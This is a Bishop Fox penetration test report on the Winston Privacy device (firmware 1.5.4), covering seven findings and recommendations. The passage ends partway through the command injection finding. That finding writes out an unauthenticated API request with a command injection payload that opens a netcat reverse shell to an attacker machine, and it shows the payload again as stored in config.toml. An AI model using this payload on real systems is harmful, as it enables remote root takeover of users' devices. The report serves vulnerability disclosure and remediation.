Penetration Test Report (Bishop Fox): Bishop Fox Assessment Report   Winston Privacy

ASSESSMENT REPORT
WINSTON PRIVACY — VERSION 1.5.4
JULY 29, 2020
TABLE OF CONTENTS
Table of Contents .................................................................................................................... 2
Executive Report ..................................................................................................................... 3
Project Overview ............................................................................................................................ 3
Summary of Findings .................................................................................................................... 3
Vulnerability Report ............................................................................................................... 5
Command Injection ........................................................................................................... 5
Cross-site Request Forgery (CSRF) ................................................................................... 9
Improper Access Controls ............................................................................................... 12
Insecure Cross-origin Resource Sharing (CORS) ........................................................... 15
Insufficent Authorization Controls ................................................................................. 18
Default Credentials .......................................................................................................... 20
Undocumented SSH Service ........................................................................................... 23
Appendix A — Measurement Scales ................................................................................... 26
Finding Severity............................................................................................................................ 26
2020/07/29 2
EXECUTIVE REPORT
Project Overview
FINDING COUNTS
During an ongoing research project, Bishop Fox assessed the 1 Critical
security of the Winston Privacy device (firmware version 1.5.4). The 4 High
following report details the findings identified during the course of 1 Medium
1 Informational
the engagement, which started on July 20, 2020.
7 Total findings
Goals
• Perform a time-boxed assessment of the product and
SCOPE
identify security vulnerabilities that may present risks to
Winston Privacy device
users. v1.5.4
DATES
07/20/2020
Kickoff
07/20/2020 –
07/29/2020
Active testing
07/29/2020
Report delivery
Summary of Findings
The Winston Privacy device was affected by multiple critical- and high-risk vulnerabilities
that resulted in the compromise of the device’s root user account from the context of a
remote unauthenticated attacker. The externally exposed device setting’s API was
vulnerable to command injection, which allowed arbitrary system commands to be
executed on the device. Additionally, the API lacked authentication and allowed arbitrary
API requests from cross-origin sites. This was due to a lack of cross-site request forgery
(CSRF) protections as well as an insecure cross-origin resource sharing (CORS) policy.
Testing focused only on externally facing services exposed on the device. However, the
team’s limited exploration of hardware access controls led to the discovery of additional
vulnerabilities that also resulted in local root access. Separately, a large area of concern
2020/07/29 3
that was untested (and beyond the scope of the research conducted) was the use and
implementation of cryptography for secure communications.
Given the low barrier of exploitation required for the issues identified, the team
recommends the investigation of potentially compromised customer devices. Identified
vulnerabilities should be retested upon patching to verify the integrity of the
remediation. Further testing is recommended for hardware access controls,
cryptographic implementation, secure network transmission, and API access controls.
RECOMMENDATIONS
Validate Inputs — Ensure that any user-controlled inputs are considered untrusted.
Perform server-side checks to ensure input is interpreted only as the expected type and
character set. Identify and enforce any additional encoding or escaping requirements for
the context in which the data will be used.
Enforce Origin Security — Implement a restrictive CORS policy, limiting additional
origins to those necessitated by business requirements. Additionally, add a CSRF
safeguard mechanism, using an established framework, to ensure sites cannot submit
arbitrary data to the API.
Follow Principle of Least Privilege — Ensure the application runs with the minimum set
of privileges to perform business operations. Avoid relying on mechanisms that reduce
the security controls of the underlying system (e.g., password-less sudo).
Perform Additional Testing — Incorporate security testing in the SDLC of application
development and establish security test cases to verify the integrity of security controls.
Ensure the application undergoes annual security testing or consider more frequent
tests before releasing new major functionality.
2020/07/29 4
ASSESSMENT REPORT
Application Penetration Testing
The assessment team performed an application penetration test with the following target
in scope:
• Winston Privacy device (firmware version 1.5.4)
Identified Issues
1 COMMAND INJECTION CRITICAL
Definition
Command injection occurs when a user passes maliciously crafted input into an
application, which then uses the unchecked data in a function that executes at the
operating-system level. The system, which cannot differentiate between these malicious
commands and regular application commands, executes calls within the authority
context of the original application.
Details
The assessment team determined that the Winston Privacy device management API was
vulnerable to command injection resulting in unauthenticated remote code execution.
Specifically, the /api/advanced_settings endpoint allowed device settings to be
altered, including the Proxy Address.
The following unauthenticated API request was sent with a command injection payload
in the Proxy Address field, which resulted in a connect-back shell:
POST /api/advanced_settings HTTP/1.1
Host: 192.168.50.62:82
…omitted for brevity…
{"EnableHTTPFiltering":true,"EnableHTTPSFiltering":true,"EnableBehindRouter":true,"P
roxyAddress":"192.168.50.62$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc
192.168.50.88 3137
>/tmp/f)","Result":"","EnableDNSFilter":true,"EnableHTTPoverP2P":false,"P2P":"on","E
nableSmartBlocking":true,"EnableExtensions":true}
FIGURE 1 - Request with command injection payload
To discover this API endpoint, the Winston Privacy service binaries were extracted and
disassembled after the team gained access to the filesystem via a console that was
2020/07/29 5
accessible over a micro USB port, as described in the Local Console Access section of the
Improper Access Controls finding included in this report.
The vulnerable endpoint behavior was implemented in the
main.ApplyAdvancedSettingsChanges() function. This function first saved the
following values into the /etc/winston/config.toml file:
FIGURE 2 - Function calls in Winston binary in /root/code/go/bin/winston
The malicious user input persisted in config.toml, as shown below:
behindtherouter="1"
…omitted for brevity…
proxy_addr="192.168.50.62$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc
192.168.50.88 3137 >/tmp/f)"
remote_enable="1"
security_pin="1337"
…omitted for brevity…
FIGURE 3 - config.toml post-exploitation
Winston then refreshed the iptables rules using the
/etc/winston/confiptable.sh script:
2020/07/29 6
FIGURE 4 - Winston binary calling confiptable.sh
The confiptable.sh script, which is shown below, sourced the config.toml file,
executing the attacker’s command substitution stored in config.toml:
# Important: This file is configured for the Winston Privacy Board HW1/HW2 from
GlobalScale.
echo "Reading config file"
source /etc/winston/